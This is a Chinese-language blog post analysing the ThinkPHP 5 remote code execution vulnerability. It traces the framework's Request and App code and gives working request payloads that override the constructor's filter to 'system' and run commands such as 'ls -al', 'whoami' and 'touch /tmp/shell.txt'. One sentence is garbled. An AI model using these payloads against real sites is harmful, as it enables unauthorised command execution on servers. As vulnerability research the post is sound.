前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >tp5远程代码执行漏洞分析

tp5远程代码执行漏洞分析

作者头像
用户5878089
发布2019-07-25 16:29:25
1.1K0
发布2019-07-25 16:29:25
举报

tp5远程代码执行漏洞分析

漏洞分析

前言

最近人比较懒,公众号没怎么更新了,代码也不怎么审计了,我大概成了一个废柴了。 出来了这个新的漏洞了,想着可以跟着大神们的脚步来分析一下,回顾一下代码审计的相关的套路。 此洞的利用链很完美。 从开始分析一下。 有更好的意见和建议的话,可以讨论一下。

漏洞利用条件

dubug开启

访问:/public/index.php?s=asasa _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

漏洞分析

从tp5的入口文件开始分析:

/public/index.php

代码语言:javascript
复制
require __DIR__ . '/../thinkphp/start.php'

包含了start.php,跟进一下

thinkphp/start.php

代码语言:javascript
复制
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();

主要代码只有两行,注释的很清晰,主要跟进App类的run()函数: 这是这个框架加载应用的核心类,下面只贴出run()函数漏洞的关键代码;

thinkphp/think/App.php

代码语言:javascript
复制
 public static function run(Request $request = null)
    {
        $request = is_null($request) ? Request::instance() : $request;
    ......
    $request->filter($config['default_filter']);
    ......
    if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

函数的参数是Requests对象,Requests对象用于处理函数的请求与响应。 首先跟进一下这个requests对象;存在问题的代码如下:

thinkphp/think/Requests.php

代码语言:javascript
复制
class Request
{
    protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }
    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }
分析 构造函数

其中__construct函数是类的构造函数 将类的属性存在一个数组里面options[] 通过遍历数组来对类的属性进行初始化,而且在初始化的过程中,还对filter的值进行了判断,如果为空,则初始化为Config::get('default_filter') ,其中Config::get()函数是用来加载默认的配置变量的,而默认的配置变量都在application/config.php中,跟进一下看看:

application/config.php

代码语言:javascript
复制
     // 默认全局过滤方法 用逗号分隔多个
    'default_filter'         => '',
    // 表单请求类型伪装变量
    'var_method'             => '_method',

而这个default_filter就是用来做全局过滤的,同时var_method是表单请求类型伪装变量,也是同样的获取方法,接下来会用到的。

分析 method函数

函数的主要功能就是获取当前的请求的方法,有可能是post,get,还有put 关键的代码就在于

代码语言:javascript
复制
if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);

通过这段代码我们可以知道,如果我们通过POST的方式提交了一个参数是Config::get('var_method')我们就可以调用任何函数,而且函数的参数是以POST的方式提交的。所以说这段代码是非常危险的。

其实如果不考虑其他的代码,类似这样提交参数 _method=__construct&filter[]=system&s=whoami 通过以上代码可以重新调用构造函数,这样就会通过变量覆盖将fileter覆盖为system

实际上,这也是前几个版本5.0.10远程代码执行的构造原理,至于s是什么,等到第二章再解释。但是大家可以注意到,thinkphp/think/App.php 中有一句$request->filter($config['default_filter']);这是新版本中的过滤机制,可以防止filter被覆盖之后无法调用。这样还是被过滤之后,还有更为巧妙的过滤方法。

分析app类

继续看上面App类第三部分代码

代码语言:javascript
复制
    if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

漏洞代码存在于此,所以条件是需要进入这个条件语句,即self::$debug=true,所以整个漏洞的利用是需要开启dubug的,开启之后看一下$request->param(), true此时 调用了param()函数,跟进一下:

分析param()函数

代码如下:

代码语言:javascript
复制
    public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
            $this->mergeParam = true;
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

从代码中param()函数调用了$method = $this->method(true); 再回过头看看

代码语言:javascript
复制
        if (true === $method) {
            // 获取原始请求类型
            return  $this->server('REQUEST_METHOD')?: 'GET';

调用了$this->server('REQUEST_METHOD')跟进一下:

分析server()函数

代码如下

代码语言:javascript
复制
    public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

根据函数调用的方式:$name=$this->server('REQUEST_METHOD'),最终调用了input函数,继续跟进 $this->server=[]

分析input()函数

这里只粘贴出关键代码: $this->server=[] ->

代码语言:javascript
复制
 public function input($data = [], $name = '', $default = null, $filter = '')
    {
    ....
    $filter = $this->getFilter($filter, $default);
    ....
     if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
     }

这里的关键代码就是调用了getFilter()函数,其中data¨C23C¨C24C¨G10G这里的关键代码就是调用了getFilter()函数,其中filter = '' 继续跟进

分析getFilter()函数

代码如下:

代码语言:javascript
复制
    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }
        $filter[] = $default;
        return $filter;
    }

最开始filter=′′执行之后会进入else的语句所以会被赋值this->filter 最终 filter[]=default; 回到分析input的代码中去,可以发现,$this->server=[] 赋值给了$data = [] 最后进了filterValue函数 跟进一下

分析filterValue

代码如下:

value = $this->server key = REQUEST_METHOD $filters=''

代码语言:javascript
复制
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }
        return $this->filterExp($value);
    }

从此可以看出,调用了call_user_func()进行过滤, 而调用的函数可控,filter(value),我们在分析 method函数的函数的时候说过tp5.0.10远程代码执行的时候,函数调用的缺陷,虽然可以将filter()初始化,避免了过滤函数的正常调用,但是被污染的参数还是传了进来,但是methed()的构造函数可以被重新初始化的事实没有改变,所有从5.0.10 到5.0.23 中间版本的根本性问题是没有发生变化的,我们来重新分析一下 调用的方式: _method=__construct&filter[]=system&server[REQUEST_METHOD]=touch /tmp/shell.txt

漏洞复现

后记

以上就是漏洞利用的第一个阶段,构造了漏洞,还有一个重要的问题就是回显的问题,其实现在已经能成功执行代码了,回显的问题明天再说。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-01-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • tp5远程代码执行漏洞分析
    • 漏洞分析
      • 前言
      • 漏洞利用条件
      • 漏洞分析
      • 漏洞复现
      • 后记
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档